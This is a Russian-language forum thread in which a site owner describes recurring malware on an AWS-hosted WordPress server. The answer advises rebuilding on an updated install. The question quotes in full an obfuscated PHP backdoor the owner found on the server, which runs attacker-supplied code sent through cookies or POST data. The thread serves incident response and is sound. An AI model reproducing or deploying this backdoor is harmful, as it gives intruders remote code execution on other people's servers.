Вредоносные программы устанавливаются снова и снова автономно - PullRequest
0 голосов
/ 22 октября 2019

У нас есть несколько вредоносных программ на нашем экземпляре aws (хостинг Wordpress и собственное приложение), который делает странные вещи:

  • chmod 755 /var/www/html независимо от того, что было раньше

  • копирует index.html в index.html.bak.bak и удаляет index.html Когда я запускаю ausearch для index.htmlЯ получаю указатель на папку, управляемую нашим приложением, которая содержит объект с randomname.php, например mqnwtxzg.php. Содержимое такого php-файла:

    $wezhgja = 'incsr_f8y-g6a9kl3ubx\'5vp14d7mt*#oHe';$lcxtas = Array();$lcxtas[] = $wezhgja[2].$wezhgja[6].$wezhgja[2].$wezhgja[21].$wezhgja[27].$wezhgja[18].$wezhgja[11].$wezhgja[27].$wezhgja[9].$wezhgja[27].$wezhgja[24].$wezhgja[25].$wezhgja[2].$wezhgja[9].$wezhgja[25].$wezhgja[21].$wezhgja[13].$wezhgja[11].$wezhgja[9].$wezhgja[13].$wezhgja[7].$wezhgja[27].$wezhgja[12].$wezhgja[9].$wezhgja[24].$wezhgja[16].$wezhgja[18].$wezhgja[21].$wezhgja[24].$wezhgja[18].$wezhgja[18].$wezhgja[2].$wezhgja[25].$wezhgja[18].$wezhgja[24].$wezhgja[2];$lcxtas[] = $wezhgja[2].$wezhgja[4].$wezhgja[34].$wezhgja[12].$wezhgja[29].$wezhgja[34].$wezhgja[5].$wezhgja[6].$wezhgja[17].$wezhgja[1].$wezhgja[2].$wezhgja[29].$wezhgja[0].$wezhgja[32].$wezhgja[1];$lcxtas[] = $wezhgja[33].$wezhgja[30];$lcxtas[] = $wezhgja[31];$lcxtas[] = $wezhgja[2].$wezhgja[32].$wezhgja[17].$wezhgja[1].$wezhgja[29];$lcxtas[] = $wezhgja[3].$wezhgja[29].$wezhgja[4].$wezhgja[5].$wezhgja[4].$wezhgja[34].$wezhgja[23].$wezhgja[34].$wezhgja[12].$wezhgja[29];$lcxtas[] = $wezhgja[34].$wezhgja[19].$wezhgja[23].$wezhgja[15].$wezhgja[32].$wezhgja[26].$wezhgja[34];$lcxtas[] = $wezhgja[3].$wezhgja[17].$wezhgja[18].$wezhgja[3].$wezhgja[29].$wezhgja[4];$lcxtas[] = $wezhgja[12].$wezhgja[4].$wezhgja[4].$wezhgja[12].$wezhgja[8].$wezhgja[5].$wezhgja[28].$wezhgja[34].$wezhgja[4].$wezhgja[10].$wezhgja[34];$lcxtas[] = $wezhgja[3].$wezhgja[29].$wezhgja[4].$wezhgja[15].$wezhgja[34].$wezhgja[1];$lcxtas[] = $wezhgja[23].$wezhgja[12].$wezhgja[2].$wezhgja[14];foreach ($lcxtas[8]($_COOKIE, $_POST) as $tlfwyg => $bdxjqs){function irgndu($lcxtas, $tlfwyg, $zskgpvt){return $lcxtas[7]($lcxtas[5]($tlfwyg . $lcxtas[0], ($zskgpvt / $lcxtas[9]($tlfwyg)) + 1), 0, $zskgpvt);}function fpdyn($lcxtas, $eklrh){return @$lcxtas[10]($lcxtas[2], $eklrh);}function zmychft($lcxtas, $eklrh){$rugfslb = $lcxtas[4]($eklrh) % 3;if (!$rugfslb) {$zttttc = $lcxtas[1]; $tdber = $zttttc("", $eklrh[1]($eklrh[2]));$tdber();exit();}}$bdxjqs = fpdyn($lcxtas, $bdxjqs);zmychft($lcxtas, $lcxtas[6]($lcxtas[3], $bdxjqs ^ irgndu($lcxtas, $tlfwyg, $lcxtas[9]($bdxjqs))));}  
    
  • В другой случайной папке я нахожу такие объекты: /somefolder/.5d45a5b3.ico

Мы регулярно проверяем эти вещи и удаляем все эти странные объекты, но через день или около того они снова возвращаются. Единственное, что изменилось, так это то, что странные объекты теперь имеют разные имена и помещаются в разные папки.

Мы выполняем сканирование вредоносных программ в нашей системе, и они обнаруживают эти объекты, но пока ничто не мешает им вернуться.

Кто-нибудь сталкивался с подобными проблемами и может кто-нибудь порекомендовать что-нибудь, чтобы избавиться от этого материала?

Может ли кто-нибудь направить нас к кому-то, кто может помочь, даже если эта услуга будет платной?

1 Ответ

0 голосов
/ 22 октября 2019

Вместо устранения симптомов вы должны сосредоточиться на том, чтобы убедиться, что у вас установлена ​​последняя версия Wordpress, и обновить все плагины до последней версии. Учитывая, что текущая система скомпрометирована, не пытайтесь ее «исправить». Скорее всего, закулисный. Не верь этому. Вместо этого сделайте резервную копию данных (например, базы данных) и перестройте сайт WordPress на новом экземпляре, используя последние версии.

Посмотрите на https://wordpress.org/support/article/faq-my-site-was-hacked/ и https://wordpress.org/support/article/hardening-wordpress/

...